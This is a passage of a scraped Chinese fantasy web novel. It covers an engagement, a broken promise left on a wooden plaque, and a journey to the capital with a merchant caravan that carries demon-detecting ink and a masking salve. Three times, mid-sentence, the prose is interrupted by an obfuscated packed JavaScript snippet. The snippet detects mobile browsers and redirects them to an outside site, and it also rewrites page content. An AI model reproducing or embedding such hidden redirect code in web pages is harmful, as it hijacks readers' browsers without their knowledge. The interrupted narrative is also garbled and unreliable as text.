芊芊这才意识到自己方才话语间竟默认将来要与小狼成亲。嫁人这种事,世俗女子大多不好意思主动提起,尤其是十五岁的年轻姑娘。她张了张嘴,脸上飘起红晕,沉默片刻,道:“对,我想过,我知道他与众不同,只能避开他人生活,那也没什么不好,我同样喜欢。” 红鸾从座席上起身,眼中的冷意和讥讽一扫而空,反而多了几分发自内心的赞赏,道:“把手给我。” 芊芊不明就里,愣愣地伸出一只手。 红鸾握住那只手,郑重其事面对芊芊,问:“你可愿意与小狼成亲?” 芊芊毫不犹豫:“我愿意。” 话刚说完,感觉手腕一凉,低头一看,腕间多了一只白玉镯子,是红鸾帮她戴上的。 红鸾目露赞许,淡笑道:“那就这样说定了。” 芊芊恍然大悟,原来红鸾姐的确是替小狼来确认她心意的。只是过程和方法着实让她心绪大起大落,过于刺激。 青崖和小狼从外面冲进来,一人拉着芊芊的一只手,欢呼雀跃。 青崖道:“我就知道你一定不会放弃小狼的!” 小狼道:“我也愿意与你成亲,将来常常陪你去探望父母!” 待他们的激动情绪平息几分后,红鸾对芊芊道:“你确定启程日期后再来一趟,我写一封信你带着。我有一位交好的姐妹在京城,你到那里需要什么帮助,可以凭我的信去找她。她每年都会派一支商队,为我送些货物,将来你若只能自己回来,她会派人护送你。另外我们虽不是普通人家,弟弟成亲,给弟妹的聘礼也绝不会少,足以让你父母家人能在京城站稳脚跟,你大可不必为拒绝父母安排的婚事而过于愧疚。” 芊芊眼睛一亮,几乎喜极而泣。白玉手镯温润可爱,她抚摸着它,认为世上再没有比这代表与小狼定亲的手镯更为圆满的物什了。 *** 尽管已定下亲事,到了芊芊确定日期、真收拾行李要离开时,小狼还是忧心不已。 他抱怨:“让芊芊直接搬到山谷来住就行了,为什么非要去京城走一趟再回来?” 青崖开解道:“两年前灵岛来人也邀请你去灵岛,你怎么不去?且不说这里有芊芊,假如没有芊芊,只有我和红鸾姐,那你也可以毫不留恋的去灵岛吗?” 两年前灵岛使者又来过一次,青崖、红鸾都表示要继续留在槐谷,小狼也不去灵岛,恰逢大牛二牛灵智将开,使者离开时就只带走了那两头有灵根的牛。 小狼道:“如果在我没认识你们之前,我肯定愿意去灵岛,可现在你们是我姐姐,你们不去我怎能自己去?” 青崖道:“那就是了,你与我们认识三年的时候,尚不能毫无留恋地离开,芊芊在父母膝下十五年,难道她就可以毫无顾忌地抛下身体不好的父母同你私奔?” 小狼知道青崖说得有理,但还是免不了口头抱怨:“难道有她哥哥照顾他父母还不够吗?” “她哥哥?”青崖嫌弃道,“你看她哥哥像是能照顾人的样子吗?” 青崖见过芊芊哥哥,因为是芊芊的家人,青崖也想尽量控制住自己以面相识人的习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13729259|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惯,客观看待,奈何看来看去,她那哥哥的面相只能让她想起四个字:贼眉鼠眼。 “唉——”小狼叹气,“京城那么远,还有一个与她指腹为婚的公子,她去了还能回来吗?” 青崖道:“你要相信芊芊,就像我相信长山一样。长山当时说他五年后才能回来,我不也相信了吗?” 红鸾老生常谈道:“男人的承诺比女人的承诺不可靠得多,你还是别指望他会回来。” 青崖不满道:“我不管什么男人女人,我相信的是长山,他只不过恰好是个男人罢了。”拍拍小狼道:“走,我们去看看‘那棵松树’,时间到了,长山很可能某天就会出现在那里,虽然他说可以找我找一年,我可不能真的让他找一年。” 提起“那棵松树”,不必再说地点,小狼就知道青崖想去哪里。那是位于结界外不远处山脊上的一棵松树,五年来,但凡路过那里,青崖就会指给他看,天旱少雨时,还不辞辛劳地提着木桶去给松树浇水。 小狼为了将要面临的离别,心中不安,左右在山谷里待不住,就随青崖一起爬上那处山脊,缓缓漫步。 “到了到了,就是这棵树,长山许下承诺的地方。”青崖站在树下瞭望,希望能在某处找到那个身影,可山上山下除了他们别无他人。 小狼拎着一根枯木棍子,围绕松树打转,无聊又气闷地敲打松枝。青崖宝贝这棵松树,喝令他住手,但越是阻止,小狼越是以此为乐,两人在树下追闹两圈,小狼突然停下,用手中棍子拨开松枝,指着树上一处,意外道:“咦?这里有一个木牌?” 青崖夺过小狼手里的棍子,探头过去:“哪里?” “这里。”小狼指着他抬手恰好能碰到的一处树枝根部,那里有一根粗布绳绑着一个木牌,约莫一指厚,一寸长,布绳颜色与木牌颜色都与树干接近,因此极不显眼。 青崖一跃取下木牌,只见木牌边缘开裂,显是经历过长久的风吹日晒,木牌正中刻着两行小字: 山高路远,杂务缠身,无缘赴约,勿复相待。 那字迹她再熟悉不过。 她有一叠珍藏的手稿,上面记录着许多常用药方和她喜欢的花草茶配方,里面都是这种字迹。 青崖将木牌翻来覆去查看,小小木牌上藏不下其他玄机,只有刀刻的字迹,没有署名,也没说给谁,但青崖清楚,这是长山传递给她的信息。这个地方的意义,在外面的人,只有长山知晓。 松树是长山走后好几天才移植到这里的,长山记得他们分别的地方,不知什么时候来过,发现了松树,在松树上留下这块木牌。 木牌的位置比青崖头顶还略高一点,又有松枝松叶遮挡,若非小狼一通乱敲,当真难以发现。 这木牌留在这里多久了?一个月?两个月?一年?两年? “山高路远,杂务缠身,无缘赴约,勿复相待。” 青崖反复默念木牌上的文字,一颗心沉到谷底。 41. 岁既晏兮孰华予6 青崖是被小狼拖回家的。 她看到木牌后就呆呆发愣,在“那颗松树”下坐到日暮西垂,口中呢喃:“无缘赴约,勿复相待……他不来找我了……为什么不来?” 小狼拉着她下山,回谷找到红鸾。红鸾见她失魂落魄,忙问:“怎么了?” 青崖一直把木牌攥在手里,上面的字迹都印在了手掌上,小狼用力把木牌从她手心挖出,递给红鸾,“喏,在‘那棵松树’上发现的。” 扫过木牌上的字,红鸾立即明白过来是怎么一回事,她将木牌向空中一抛,掌心升起的火焰瞬间将木牌烧为灰烬。 “想开点,”红鸾道,“他大约是死了,所以才不能回来。” 青崖低头垂手,眼睁睁看着木牌的灰烬还没落地就被风吹散,再无一点痕迹。 “我要喝酒,”这是她的第一个念头,“我失去了一个朋友。” “我也要喝,”小狼有样学样,“我即将失去芊芊。” 对小狼来说,长山的失信似乎也预示着芊芊的失信。 “你们统统不许喝。”红鸾毫不留情地拒绝,问小狼:“芊芊一家何时出发去京城?” 小狼咕哝:“就这个月底。” 红鸾道:“你们准备一下,咱们也去京城。” “什么?!”青崖与小狼精神一振,齐声惊呼。 红鸾平静道:“不到万不得已,还是别让芊芊与父母不辞而别。女儿与人私奔毕竟名声不好,她会对家人愧疚一辈子。咱们跟随她去京城,见机行事。若是他父亲真要留在京城,或是想将芊芊许配给他人,咱们也可以试试有没有机会伪装成普通人家,上门正式提亲。此行出门,对你们来说,也是一次历练。我以前一直以为小心拘着你们才算保护,现在看来,世间复杂,人心多变,得让你们开开眼界才好,免得你们见一两个人就新奇得不得了,热情过度。” 这个喜讯让青崖木然的思绪又活跃起来。 她与小狼对视一眼,平日最想走出山谷的是他们,当真要走出去时,最紧张的也是他们。小狼自小生在野外,最近五年则大部分时间在槐谷里生活,青崖从小到大,最远也只去过泰安。 京城那么远,听说还很繁华,花花世界、人山人海、市集、店铺、饭庄、术士、诛邪司、《捉妖令》、阿远、裴浩、长山…… 一瞬间,青崖思绪里浮光掠影般闪过许多事物。长山失诺带来的伤心,变成了一种复杂的期待。 姐姐突然宣布带他们去京城,一定和芊芊一家要去京城有关系。也许本就想带他们入世磨炼,恰好有这样一个契机。 红鸾道:“虽然《捉妖令》还存在,这几年亦有所改变,因为举报过于频繁,妖没抓住多少,倒造成许多冤假错案,浪费大量人力物力,现已取消‘见妖不报者有罪’这一条,仅留‘捉妖有赏’等条例,没有确切证据就乱举报反而会受罚,所以我们只要小心伪装成普通人,注意躲开术士即可。” *** 小狼兴冲冲地去把可以一同入京的消息告知芊芊,青崖的紧张转为兴奋,开始收拾行李,红鸾从她亲手制作的满屋华服里给她挑选要带的衣裳。 灵族寿命漫长,青崖这五年来变化不大,仍是妙龄少女的模样,红鸾拎出一件粉红纱裙,上面百蝶戏花正衬少女。 青崖皱眉拒绝:“太红了,花太多。” 红鸾挑出一件缀有嫩柳枝条的鹅黄襦裙,青崖道:“太黄了,上面叶子眼花缭乱。” 红鸾再挑出一件纯白绸缎裁剪而成的素衣,唯有卷云暗纹做装饰,青崖道:“白得耀眼,而且袖子太宽,碍事。” 红鸾几乎把所有女裙都翻了一整遍,所得回应不是“太蓝”“太绿”“太紫”就是“太花”“太复杂”“太飘逸”。 最后挑出一件被拒绝过一次的淡青水色长裙。 青崖:“太……唔!” 长裙劈头盖脸砸在她头上,红鸾道:“滚去穿上。” 好不容易挑好几套衣裙,红鸾又把青崖按在梳妆台前挑选珠钗首饰,给她描眉画眼打扮起来。 青崖任由红鸾给自己涂脂抹粉,看着镜子里的变化,心中越发疑惑。 “以前出门不是都是越抹越黑,越画越丑,这次怎么越抹越白?不用遮掩容貌啦?” 红鸾在她头上试戴不同材质样式的发钗珠花,道:“不遮掩了,以前让你遮掩是怕引人注目,怕你被好色之徒盯上,这次有我和小狼陪你,不怕那些。而且咱们是去京城,那里达官贵人众多,美人如云,你若土头土脑,反而引人注目。再说,女子总要美一美,在最好的年华,将年轻美貌肆意发挥到极致,听人赞美,受人追捧。若是因为怕被歹人惦记就把自己藏起来,未免遗憾。” 红鸾给十几支发钗都搭配好不同的耳坠,道:“把这些都带着,再多带些金羽。” 青崖望着一梳妆台几乎摆不下的首饰,咋舌道:“这么多?都是让我带的?” 她平时只有一根绿藤束发,发簪也就那么一两支木簪,损坏才换,明明方便又实用。在她眼里,金银珠宝和花草树木没有太大区别。 一番折腾,青崖被打扮得像姐姐一样华贵,步摇簪钗,珥珰花钿,一样不少,肌肤如脂,眉若轻烟……总而言之,她坐在镜前几乎不认识镜中的自己。 “姐姐,我这样好看吗?” 长年生活于山野之间,少与人来往,偶尔出行不是蒙面就是易容,长久以来,青崖从未在意过自己的外表,若是与姐姐对比,无论何时,她永远认为姐姐更美。 红鸾打量镜中的妹妹,款款道:“如新月清晖,清丽脱俗。” 青崖闻言头皮发麻,浑身汗毛都竖了起来。 倒不是听不得夸赞,而是听不得姐姐这样正经地夸赞她,因 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姐姐换上男装后依然一眼就能看出是个女子,不过改作男性装扮大大削减了她的妩媚风情,多出几分英气,青崖从没见过这样的姐姐,一时看呆了——姐姐还是很美,只是换了一种颜色,是潇洒俊逸的美。 红鸾用扇子敲她:“发什么呆,问你话呢!” 青崖跳起来拉着红鸾大呼:“我也要穿男装!” 她一跳,步摇从发间掉落在地,金制的枝叶差点被一脚踩扁,她捡起步摇道:“你看,这东西真的不适合我。” 正在这时,外面院子里传来小狼与芊芊的说话声,是小狼带芊芊回来了。 芊芊问小狼:“现在每座城池都有术士看守,据说京城更是高手众多,要通过各种术法验身后才能进入,你们怎么保证自身安全?” 小狼道:“不知道。” 芊芊又问:“你们身份特殊,肯定得伪装一下,以什么身份出门?” 小狼:“不知道。” 芊芊:“到了京城怎么落脚?” 小狼:“不知道。” 芊芊语气无奈:“那你知道什么?!” 小狼:“知道不用和你远远分开了。” 然后是啾的一声,吻落在脸颊上的声音,芊芊啪啪拍打小狼,笑道:“讨厌——说正事呢!” 他们在门口嘻嘻哈哈打闹,所有动静青崖和红鸾在屋里听得清清楚楚,二人彼此摊手摇头,表示对这对青梅竹马之间的甜腻无福消受。 青崖推开门,小狼乍一看到她与平时不同的装扮,仿佛看到怪物一般咧嘴“咦”了一声。 青崖张开双臂展示裙子,问:“好看吗。” 小狼满眼嫌弃,拉过芊芊道:“不好看,不如芊芊好看。” 芊芊伸手在小狼手背上拧了一下,道:“是青崖姐好看,你别胡说八道!”说着笑容溢出嘴角。 青崖看向天空,长长叹了口气。 42. 大车槛槛1 三月末,一个天气晴朗的晌午。 一辆看起来极为朴素的马车停在通往和县的官道边。 马车近处,两个行商模样的人在路边的树荫里一坐一躺,百无聊赖地打着瞌睡。 夏日的暑热已显现出一点苗头,小狼兴奋得微微冒汗,他跑在红鸾与青崖前面,看到马车,特意望了一眼车身侧板,指着车厢上的图案道:“看到了,四角有牡丹花纹,就是那辆车吧?和去年来的马车一样!” 这是他第四次陪姐姐们一起接待京城来客,依然充满新鲜与好奇,在他的衬托下,平时见人就开心的青崖都显得成熟沉稳了许多。 这种每年一次的事情,青崖已做过十几次,完全有资格装出一副老练熟稔的模样,看清马车旁边的人,道:“今年也是季师傅押货啊。”对着那边大喊:“季师傅——!” 树荫下的两人听到声音皆精神一振,站起身来。其中那位年长的师傅站在前面,他将近五十岁,身形瘦削而有力,透出一股长年行走在外的风霜与老练,面带微笑,朝来人微微欠身。 “红老板,林姑娘,小狼,今年来的巧啊,我们在这里才等两天,你们就来啦。”季师傅转头吩咐身后的青年:“你去城里通知他们,可以来交货了。” “莫急,”红鸾道,“这次除了交货以外,还有一件事情要劳烦季师傅。” 季师傅道:“红老板有什么事尽可吩咐,我家主人说了,到了此处,一切都听您的。” 红鸾表现出少有的随和,道:“请你安排一下,我们三个想同商队一起入京。” *** 数日之后,芊芊一家启程,距离芊芊家马车十里以外,一支二十多人组成的商队,遥遥跟在后面。 商队里有拉货的平板车,坐人的马车,还有单独拉货的马。 红鸾舒舒服服坐在马车里,青崖和小狼一人骑,伴行于马车旁边。 车厢里的空间足以容纳三人甚至四人同坐,青崖和小狼却定要骑马。他们第一次出远门,都想在外面看风景,体验策马奔驰的感觉。 红鸾的马车在商队最前端,帮她赶车的是季师傅。这一队人中只有季师傅知道她们的真实身份,为了让她们能自由交流,季师傅安排其他车马在百米外跟随。只要红鸾的车一停,整个商队就停,红鸾的车一走,整个商队也跟着走。红鸾有什么要求,季师傅就立刻差人去做,大有整个商队都为红鸾派遣的意思。 小狼骑在马上好奇提问:“红鸾姐给了商队多少钱让他们对咱们这样好?” 青崖高深莫测地啧了一声,道:“一个铜板也没花。” “什么?”小狼吃惊得张大嘴巴,“那他们为什么这么听命?” “姐姐,”青崖瞧了瞧车厢,向马车里问道:“可以告诉小狼了吗?” 红鸾道:“嗯,你告诉他吧。” 青崖于是问小狼:“你知道他们是什么人吗?” 小狼道:“不就是京城来的商队吗?是你们说,京城里有个人叫牡丹,是红鸾姐以前认识的姐妹。她每年派商队来把红鸾姐制作的衣裳买走,还会送来新的布料和你用的那些笔墨纸砚和各种新奇玩意儿。” 青崖道:“以前你年纪小,所以没告诉你细节。你以为红鸾姐那么多的金银和珠宝首饰都是靠卖衣服赚来的吗?” “不然呢?” “你以为一件衣服多少钱?” “不知道,”小狼道,“她做的那些衣服有好多奇奇怪怪的,我从来没见人穿过那样的衣服。” “你当然没见过啦,因为奇奇怪怪的那些多是舞服,就是专门跳舞的时候穿的。姐姐做的华服确实比寻常衣裳贵,那些舞服更贵,但仅靠那些衣裳是赚不来几大箱子金羽的。” “那钱是从哪来的?” 青崖道:“牡丹可不是随便一个认识的人,姐姐曾经救过她,因为她爱跳舞,姐姐曾经把当时拥有的所有的家当都给了她,帮她在京城开舞楼。听说京城的有钱人最爱看歌舞,舞楼生意越来越好。牡丹——对了,她和姐姐年纪相仿,我们得叫她‘牡丹姐’。牡丹姐感激红鸾姐,每年送来的金银财宝相当于舞楼收入的分红,所以才会有那么多,懂了吗?” 灵族都长寿且容颜不易衰老,便是有几十岁年龄差,以兄弟姐妹称呼也是寻常。牡丹虽比他们年长二十岁,既是红鸾的朋友,他们也就按照灵族习惯,自然而然把她叫“牡丹姐”。 “懂了,”小狼道:“什么是‘舞楼’?” “就是有人唱歌跳舞,有人花钱看唱歌跳舞的地方。” “跳舞为什么要穿那些奇怪衣服?” “为了跳舞更好看。” “那些衣服明明很怪,哪里好看了?” “明明很好看!”青崖道,“你想象一下芊芊穿上那些衣服的样子。” 小狼偏头想了想,露出痴笑:“那的确很好看。”又问:“什么是‘分红’?” “舞楼开张的时候需要买房、雇工,所有需要的钱都是红鸾姐给的,虽然后来红鸾姐不在那里,可舞楼的收入终究有红鸾姐的一份功劳,所以牡丹姐每年都把舞楼所赚的钱给红鸾姐送来一部分,这部分就叫‘分红’。” “嚯,”小郎颇为吃惊的望着青崖,“你知道的还挺多嘛。” 青崖得意洋洋,越发有了做姐姐的自豪感,道:“那是当然,你年纪小,很多事以后才能告诉你,我就不一样啦,红鸾姐什么事都会告诉我。” 每年随商队货物送到的还有一封牡丹的信,每次的信都有厚厚一沓,几乎等同于一本书册。其中只有三四页是她与红鸾谈心叙旧,其他都是关于京城乃至整个东莱国一年之内的要事记录。 自从五年前青崖因为红鸾对自己隐瞒太多事情表示不满,甚至因此而冷战之后,红鸾就一改往日作风,再不阻止青崖去了解槐谷外面的事,每次收到牡丹寄来的要事记录,也会分享给青崖看。所以这几年来,青崖虽然仍是隐居槐谷,可对谷外事务早已不像从前那般无知。 小狼不甘显得自己无知,有意要打击青崖,问道:“少吹牛了,‘那个人’是谁你知道吗?他在不在京城?这次,红鸾姐会去找他吗?” 所谓“那个人”就是曾经企图杀害红鸾的恋人。小狼初听故事时十岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13737136|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还不知红鸟美人是谁,渐渐长大,自然明白了那个险些被恋人挖心的人就是红鸾。 他们不知道红鸾往日恋人叫什么名字,私下讨论时,就称之为“那个人”,谈到这个话题,都会不自觉地压低声音。 一提“那个人”,青崖神气不再,窥了一眼马车,无奈摇头。 小狼哼了一声,“你不是说你什么都知道吗?这么重要的事,红鸾姐怎么不同你说?” 青崖嘴硬道:“那是姐姐的伤心事,她自然不愿多说,我若非要追问详情,岂不是故意戳她伤疤?” 其实她少年时曾追问过详情,尤其在每个红鸾醉酒梦魇的晚上,她守在红鸾身旁,对于那段过往更是好奇。 那人是谁?什么模样?有什么好处值得姐姐动心? 姐姐那么好,那个人竟然为了一句谣言,一个不确定的“长生不老”,就舍得挖她的心。姐姐为此伤心买醉二十多年,变得冷心冷性,对人极度不信任,都是拜那人所赐。 十七岁时,青崖曾央求红鸾带自己出去游历,那时红鸾说:“等你长大一些,我再带你出去游历。” 她道:“我十七岁啦,已经长大啦。” 红鸾道:“十七岁出去游历最是不好。” “怎么不好?” “女子十七岁,是最容易动心,也最容易遭人垂涎的年纪。” 姐姐遇见“那个人”,正是十七岁。 青崖小时候什么都问,后来长大了才渐渐学会约束自己不要为了满足自己的好奇心就去碰姐姐的痛处,只希望姐姐尽早忘记那个人,忘记被枕边恋人挖心的恐惧。 不过这次出行,好奇心又开始蠢蠢欲动。 不仅好奇,更多的是一种正义感,一股要给姐姐出气的冲动。 恶人当杀,这一点,她与小狼达成共识。可惜红鸾以担心他们“行事冲动、节外生枝”为由,无论如何也不肯说那人叫什么名字,是什么模样,现在哪里。 青崖试图在牡丹给红鸾的信件里看出蛛丝马迹,牡丹与红鸾私密叙旧的那部分,她不能翻看,只能翻看要事记录那部分,然而记录里关于“那个人”的消息,一个字也没有,从头到尾都是东莱国大事、京城要闻。 “我要是知道‘那个人’是谁,肯定给红鸾姐报仇去,至少得打断他一条腿。”小狼道。 青崖道:“打断一条腿怎么够,得把两条胳膊两条腿都打断,或者雇个杀手,把他给‘咔嚓’掉。”说着,以手为刀在空中斜劈。 小狼问:“你知道怎么找杀手吗?” 青崖的熊熊斗志顿时被浇灭,沮丧道:“不知道。” 灵不能杀人,这一点真是太不方便了,让她的一身好功夫都无法施展,将来即便那个人站在她面前,她也没法亲手帮姐姐报仇。 假如灵能杀人,姐姐会舍得杀死那人吗?姐姐不肯说那人的名字,仅仅因为怕自己与小狼“行事冲动,节外生枝”吗? 青崖突兀地冒出一个疑问。 不知红鸾是不是听到了他们的窃窃私语,撩起车窗帘子道:“别东拉西扯没用的,你给他讲讲重要的事。” 43. 大车槛槛2 “哦,知道啦。”青崖应道。 小狼问:“什么重要的事?” 青崖道:“就是可能跟咱们有关,需要咱们小心的事。” 小狼从小不爱坐下看书,单是逼他认字,青崖与红鸾就费了好些功夫,牡丹那些枯燥的记录小狼自然不肯读,青崖只好讲给他听。 “牡丹姐信上说……” “我不听我不听!”刚开了个头,小狼就捂住耳朵大喊,“你是不是又要讲你那个阿远弟弟?他认字多记忆好,关我什么事?我!不!听!” 在牡丹寄来的信里,青崖最关注的就是长山、哲远、裴浩他们的消息。 长山寂寂无名,牡丹的记录里从没提到过他,青崖只好关注哲远与裴浩。从牡丹信中得知,当年哲远回京没多久就做了太子,裴浩护卫有功,受到嘉奖,如今是东宫太子最倚重的裴将军。 每每小狼顽皮胡闹,青崖就拿出哲远与他作对比,尤其收到牡丹的信,在里面看到哲远的最新消息,无缘无故也要贬低小狼一回,小狼烦不胜烦。 红鸾让青崖讲的“重要的事”,当然不是哲远的事,但青崖一看小狼捂住耳朵的样子就来了兴致,拉下小狼的手在小狼耳边大声道:“我就是要讲阿远,阿远乖巧又安静,读过的书过目不忘,我说什么他都答应,你应该跟他学学怎么做个好弟弟。” 小狼嗤之以鼻:“病秧子一个,有什么好。” 牡丹信里提到,太子哲远几乎每年都要大病一场,青崖不胜挂念,此番进京,特意带了许多珍贵仙草,都是长山给他调理身体期间最常用的药。 小狼道:“他在槐谷只住了三个月,现在已经过去五年,肯定早把你给忘干净了。” “才不会呢,”青崖反驳,“他说过,在槐谷里的那段日子是他一生中最开心难忘的日子。” “嘁——”小狼不以为然,“红鸾姐还说过,人言不可信,那个什么‘长山’,他说五年后回来找你,结果还不是没来?” 一提起长山的失约,青崖如同被噎着了一样,沉默半晌,忽然一扬手,用自己的马鞭卷住小狼的马鞭,用力一拽一抛,抛出几十步远。 小狼手上一空,也不甘示弱,探出身子,一手佯装去夺马鞭,另一手绕至青崖脑后想要揪她发簪。青崖侧身躲开,双腿用力一夹,让马快步向前,小狼一把揪住马尾,青崖怕马被扯疼,连忙拉住缰绳,让马减速,小狼得以与她齐头并进。 当着商队的面,他们不便使用灵力,就你一拳我一脚地在马背上厮打起来。 小狼的拳脚功夫是与青崖练出来的,对付别人绰绰有余,对付青崖却永远处于劣势,因为青崖的速度之快无人能及。他抢夺几次,既抢不到马鞭,也碰不到发簪。青崖不免得意,一得意就容易轻敌,露出破绽,外加她身上的衣裳与平日的窄袖劲装不同,宽袖大袖子让行动受阻,一不小心没防住小狼下三滥的手法,被揪住了一把头发。 她头皮吃痛,一掌拍在小狼肋下逼他松手。小狼松开她的头发却并不缩手,指尖距离她的发簪不到一寸,青崖伸出双手在小狼肩上一按,整个人腾空而起,稳稳落在红鸾车的车顶上,小狼也紧随其后,一跃而上。 季师傅怕他们摔着,吁的一声拉停马车。 为了少引起他人注意,商队用的是样式与结构都最朴素的马车,车顶哪里承受得住两个人的体重。他们刚刚站稳,只听咔嚓一声,车顶被踩出一个大洞,两人通过大洞看到红鸾的头顶与藏蓝色衣服,知道大事不妙,双双跃回地面。 红鸾怒不可遏掀开马车帘子,她梳得一丝不苟的发髻上落满大大小小木头碎渣。 青崖与小狼不约而同指向对方。 “他踩的。”“她踩的。” “季师傅,”红鸾声音里压着疾风骤雨,“让商队停一下,我和弟弟妹妹有话要谈。” “好嘞。”季师傅跳下马车走向后面的商队,扬声宣布:“大家原地歇息片刻。” 他走到队伍中间,挑出另一辆完好的马车,对赶车的伙计吩咐:“红老板的马车被踩坏了,你把这辆马车收拾一下空出来,换给红老板坐。” 那伙计望了一眼红鸾的马车,突然到:“哎哟,红老板车里怎么着火了?” 众人抬头望去,果然看到带头那辆马车里火光闪烁,车顶破洞冒出阵阵黑烟。 “哈哈,红老板可能在烤什么东西吧。没事,大家生火做饭,不用管那边。”季师傅笑呵呵道。 过得片刻,青崖和小狼从马车里钻出来,皆灰头土脸,活似被烟熏糊的烤鸡,恹恹地对季师傅道:“纪师傅,我们来帮姐姐换马车。” 换好马车再次上路,红鸾不许青崖与小狼再骑马,强迫小狼陪季师傅一起驾车,让青崖坐在车里帮自己梳理头发。 挑完头发上的木茬,红鸾方想起重要的事还没说,把马车帘子掀开固定在上方,道:“季师傅,你见多识广,给他们讲讲入京路上需要注意的事项吧。” “好呀,”季师傅道:“我看二位少侠功夫不错,一般的歹人怕是奈何不了你们,你们要注意的是官府的人。” 小狼道:“我知道,离那些官兵还有术士打扮的人远一点。” 季师傅道:“没错,但总有不能躲的时候,比如在每座城门口必须接受官府的盘查。如今凡是大城,守城的除了官兵还有诛邪司术士。因为术士变多,捉妖术法有所进步,无须依靠民众举报捉妖了,《捉妖令》才取消‘见妖不报即为死罪’那一条。《捉妖令》最严格的那段时间,人与人之间都不敢多说话,既害怕被冤枉成妖,又害怕被冤枉‘见妖不报’……嗨,那段苦日子,总算结束啦。呃——红老板,我没有说术士好的意思,那帮术士,我可一点也不喜欢。” 红鸾看向青崖,青崖微微点头,表示以她辨言天赋判断,季师傅说的是真话。 “师傅是自己人,说话随意就好,不必拘谨,牡丹放心派你来做事,我们自然也相信你。”红鸾忽略青崖做出的鬼脸,道:“据我所知,《捉妖令》变化不仅因为术士增多,还因为现在发明了更简单有效的辨别妖与人的方法,是不是?” “对,”季师傅道,“现在他们用一种特别简单的方法验证一个人是人还是妖。有这种方法,只需在城门处对进出人员进行检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13738576|138931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查,再让术士关注可疑人员即可。” 他从随身包裹中拿出两个巴掌大的扁圆形陶瓷容器,与女子装胭脂的容器类似。他打开深色的那个,里面装的却是漆黑膏状物,显然不是任何一种胭脂。 季师傅用食指蘸取一点漆黑色膏药,对小狼和青崖道:“二位少侠请伸出手来。” 小狼和青崖伸出手,季师傅在他们手腕上的灵道穴上各自点抹少许黑膏。片刻,小狼发出嘶的一声,惊呼:“好烫!” “烫?”青崖没感到烫,只感到一丝温热。 转念明白,大约因为自己是半灵,这膏药的效果也只能发挥一半。她抬手嗅闻,黑膏的味道辛辣刺鼻,继而黑色变成暗红色,而小狼手腕上那点已变成鲜红色,季师傅食指上的黑膏仍是黑色。 “快擦掉吧,小心烫伤。”季师傅道,“这个叫做‘鉴形墨’,是目前官兵鉴妖最常用的手段,另外术士还有符水、法器什么的,不过那都是已被发现可疑或进入皇宫才会采取的鉴别方法。” 他打开另外一个瓷罐,那个瓷罐中装的是白色半透明膏状物。 “这个是‘隐灵膏’,你们把这个涂一点在手腕灵道穴上,少涂一点,这东西很稀有,牡丹坊主千叮咛万嘱咐,这次要送给红老板的东西里面,隐灵膏是最要紧的一件事物。” 牡丹所开的舞楼叫“清妙坊”,因此季师傅叫她“坊主”。 闻言,青崖与小狼小心翼翼蘸取隐灵膏涂在自己手腕灵道穴上,待白色半透明膏状被肌肤吸收无痕后,季师傅再次将黑色鉴形墨点在他们涂过隐灵膏的地方,这一次,他们没感觉到烫,甚至一丝温热之感也没有,黑色墨迹也没有变色。 季师傅道:“牡丹坊主说,只要用这种隐灵膏涂在穴位上,一日之内,可保鉴形墨失效,让官兵检查不出你们的特殊身份。” 青崖与小狼大呼奇妙。 黑色鉴形墨他们听说过,这两年官府推广,泰安城就在使用,以至于青崖完全不敢进城玩耍了,而这种白色药膏却是第一次见。 青崖将药膏放在鼻下闻了一闻,以她敏锐嗅觉,竟然闻不出任何味道。 她赞道:“牡丹坊主好厉害啊,就像预见到我们会进京一样,这种东西都能弄来。” 红鸾伸手从她指间取走装阴灵膏的瓷罐,细细打量,“牡丹可有说这是从何处弄来的?” 季师傅道:“我正要说呢,牡丹坊主让我转告红老板,这隐灵膏是京中一名叫‘楚醉君’的公子送给她的。那公子是清妙坊的常客,有一日突然说知道牡丹坊主与妖有来往,所以送这个给她当作礼物,表示愿意交个朋友。” 红鸾眼神凝了凝,隐隐感到不安。无事献殷勤,非奸即盗。 此事牡丹在这次送来的信里也提到过,那楚公子不仅献上这种显然有助于妖的珍贵礼物,甚至带了一个可以化作白鹤的妖在牡丹面前亲自演示用法。 指认牡丹与妖来往,还当面坦白自己也与妖有来往。这在京城绝非小事,牡丹忐忑不安,在信中问她可听说过“楚醉君”这个名字。 “楚醉君?没听说过。”红鸾喃喃沉思。 44. 大车槛槛3 青崖抢着问道:“他长什么样子?多大年纪?什么身份?” 季师傅道:“京中常见的纨绔公子哥,不过更风流,长得更好看一些。年纪三十左右,父亲是太常寺的一名官员。以前一直以为他是个普通公子,不知怎么突然送这样一件礼物。” 